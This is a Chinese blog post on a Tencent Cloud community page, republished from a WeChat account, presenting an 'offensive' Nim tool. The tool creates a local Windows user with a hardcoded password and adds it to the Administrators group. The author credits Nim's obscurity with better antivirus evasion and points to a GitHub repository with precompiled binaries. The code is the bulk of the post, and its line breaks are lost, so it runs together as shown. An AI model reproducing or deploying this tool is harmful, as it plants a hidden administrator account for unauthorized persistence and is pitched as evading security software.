前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >OffensiveNim之NetUser

OffensiveNim之NetUser

作者头像
鸿鹄实验室
发布2021-04-01 14:50:49
5470
发布2021-04-01 14:50:49
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

哇,最近Nim火的狠诶。周末花了点时间来学习这个东西,发现还可以,就是语法有一些恶心,小众语言的通病。然后写了个简单的小工具,用来添加用户,源码如下,windows下编译即可。

代码语言:javascript
复制
import winim
var     dwLevel:DWORD = 1    dwError:DWORD = 0    UserInfos:USER_INFO_1    account:LOCALGROUP_MEMBERS_INFO_3

UserInfos.usri1_name = L"test123"UserInfos.usri1_password = L"TestPass123@"UserInfos.usri1_priv = USER_PRIV_USERUserInfos.usri1_home_dir = NULLUserInfos.usri1_comment = NULLUserInfos.usri1_flags = UF_SCRIPTUserInfos.usri1_script_path = NULL
account.lgrmi3_domainandname = UserInfos.usri1_name
let retVal = NetUserAdd(    NULL,    dwLevel ,    cast [LPBYTE](&UserInfos),    cast [ptr DWORD](dwError)    )

if retVal != NERR_Success:    echo retValelse:    echo "[+]User Add Successful !!!"
let fiVal = NetLocalGroupAddMembers(    NULL,    L"Administrators",     3,     cast [LPBYTE](&account),     1    )

if fiVal != NERR_Success:    echo fiValelse:    echo "[+]User Add to Administrator Group Successful !!!"

来看一看效果:

之前也用C写过这类工具,Nim小众的原因导致了其免杀效果的优越。

Nim版本:

C版本:

代码已上传至GitHub(https://github.com/lengjibo/NetUser),不想编译的同学可以去realease处下载编译好的版本。

参考文章:

https://nim-lang.org/

https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd

https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档